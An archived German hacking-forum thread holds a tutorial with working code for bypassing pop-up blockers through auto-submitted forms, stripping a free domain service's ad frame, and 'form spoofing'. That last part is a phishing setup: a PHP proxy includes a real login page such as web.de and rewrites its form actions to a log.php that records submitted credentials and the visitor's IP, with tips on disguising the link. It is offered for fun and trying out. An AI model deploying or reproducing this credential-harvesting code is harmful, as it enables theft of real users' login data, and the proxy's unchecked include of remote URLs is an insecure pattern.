PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Formalized - Fun with Forms



kat23
18.11.2008, 16:00
################################################## #

F O R M A L I Z E D !

################################################## #

Jeder kennt sie: die Formulare, die wir liebevoll mit <form>
ansprechen. Sie dienen zur Auswertung von Benutzereingaben,
doch eigentlich kann man mit ihnen noch viel mehr schöne Dinge
anstellen; Dinge, die man sich gar nicht erhofft. Und diese
werde ich euch mit diesem Paper vorstellen.



[x] Pop-Up Blocker überlisten

Eine interessante Methode um Formulare zu verwenden ist
beispielweise die Überlistung eines jeglichen Pop-Up Blockers.
Die ganze Geschichte ist relativ einfach: Wir verwenden ein ganz
normales Formular, die Request-Methode ( GET | POST ) ist egal.
Als Ziel nehmen wir unsere Seite, in dem folgenden Beispiel
wird die Webseite www.katharsis.x2.to verwendet. Und nun der Clou:
Wir können beim Formular genau wie bei einem Anchor das Target
festlegen. Die 2 interessanten Targets in diesem Fall sind
"_blank" und "_top". Ersteres werden wir für das Pop-Up
verwenden ("_blank" = in neuem Fenster öffnen). Allerdings wäre
es schön blöd, wenn man erst einen Button klicken müsste, um
das Formular "auszuwerten". Daher können wir das ganze mit
Javascript automatisieren. Im Internet Explorer und in
älteren Versionen des Mozilla Firefoxs funktioniert folgender
Code:

[ popup_old.htm ]

--------------------------------------------------------

<form method="GET"

action="http://www.katharsis.x2.to"

target="_blank"></form>
<script>document.forms[0].submit()</script>

--------------------------------------------------------

Allerdings klappt das ganze in neuen Firefox Versionen
nicht mehr (eventuell auch in anderen Browsern). Daher
müssen wir unseren Code ein wenig abändern:

[ popup_new.htm ]

--------------------------------------------------------

<script>
function submitForm()
{
document.bypass.submit();
}
window.onload = submitForm;
</script>
<form name="bypass" method="GET"

action="http://www.katharsis.x2.to"

target="_blank"></form>

--------------------------------------------------------

Nun haben wir erfolgreich ein Pop-Up Fenster am Blocker
vorbeigeschmuggelt. Aber das ist noch längst nicht alles,
was wir mit Formularen machen können.




[x] Werbefreie .tk Domain

Eine weitere interessante
Methode ist eine Weiterleitung mit "_top", denn dieser Parameter
bedeutet "öffnen & aus Frames ausbrechen". Wozu das gut sein soll?
Jeder kennt www.dot.tk - dort kann man sich eine kostenlose Domain
mit der Endung .tk holen. Allerdings ist oben ein nerviger Werbeframe,
und diesen wollen wir nun wegbekommen. Also, wir wollen die Domain
www.meine-seite.tk Werbefrei haben. Das können wir realisieren,
in dem wir die index.php unserer Webseite um folgendes erweitern:


[ index.php, angefügt ]

--------------------------------------------------------

if(isset($_GET["tk"])) {
print '<script>function submitForm(){document.bypass.submit();}'.
'window.onload = submitForm;</script><form name="bypass" '.
'method="POST" action="www.meineseite.free.de"'.
' target="_top"></form><script>document.bypass.submit()'.
'</script>';
exit();
}

--------------------------------------------------------

Wenn wir nun www.meineseite.free.de?tk aufrufen, werden wir zur normalen
Index-Seite weitergeleitet. Allerdings ist das natürlich keine normale
Weiterleitung; durch den target="_top"-Parmeter ist es eine Frame-Breakout
Weiterleitung.

Nun stellen wir in unserem Control-Panel auf www.dot.tk einfach die Homepage
"www.meineseite.free.de?tk" ein, und schon haben wir eine werbefreie .tk Domain.




[x] Formular Spoofing

Eine weitere witzige Sache ist Formular Spoofing. Wir brauchen dazu nur 2 PHP Dateien:


[ fakeform.php ]

--------------------------------------------------------

<?
$page = $_GET['u'];
?>

<base href="<? echo $page ?>/">

<?
@include($page);

print("<script>
var forms = document.getElementsByTagName(\"form\");
for (var i = 0; i < forms.length ; i++)
{
forms[i].action = \"http://www.meine-seite.de/log.php\";
}

</script>");

?>

--------------------------------------------------------

Das ist unser Fakeform. Das ganze rufen wir dann z.B. so auf:

http://www.meine-seite.de/fakeform.php?u=http://www.web.de

Und wir brauchen die log.php, die in diesem Fall nicht wirklich loggt, sondern nur als
Proof-of-Concept dient:


[ log.php ]

--------------------------------------------------------

<center>
<table border=1 cellspacing=0 cellpadding=2>
<?php
$post = $_POST;
for(reset($post); $index = key($post); $value = next($post))
{
printf("<tr><td>%s</td><td>%s</td></tr>",
$index,
$post[$index]);
}

$get = $_GET;
for(reset($get); $index = key($get); $value = next($get))
{
printf("<tr><td>%s</td><td>%s</td></tr>",
$index,
$get[$index]);
}

print("<tr><td>IP</td><td>".$_SERVER['REMOTE_ADDR']."</td></tr>");

print("</table>
");
?>

--------------------------------------------------------

Wenn wir uns nun z.B. über die obige Web.de URL einloggen, werden die Daten auf der log.php
ausgegeben. Das ganze kann man natürlich auch nett in einer Datei speichern. Dasselbe gilt
für GET-Requests, zum Beispiel eine Google-Suche. Der Link sieht jedoch noch etwas auffällig auf,
deswegen wäre es besser ihn zu tarnen. Beispielweise mit window.status oder eine zusätzliche
UTF8-Kodierung der URL.




[x] kthxbai

Das war's auch schon, ich wünsche euch viel Spaß beim rumtesten & ausprobieren.


// katharsis
// www.katharsis.x2.to

Sn0opY
22.01.2009, 13:33
cool nette sache danke =) ma testen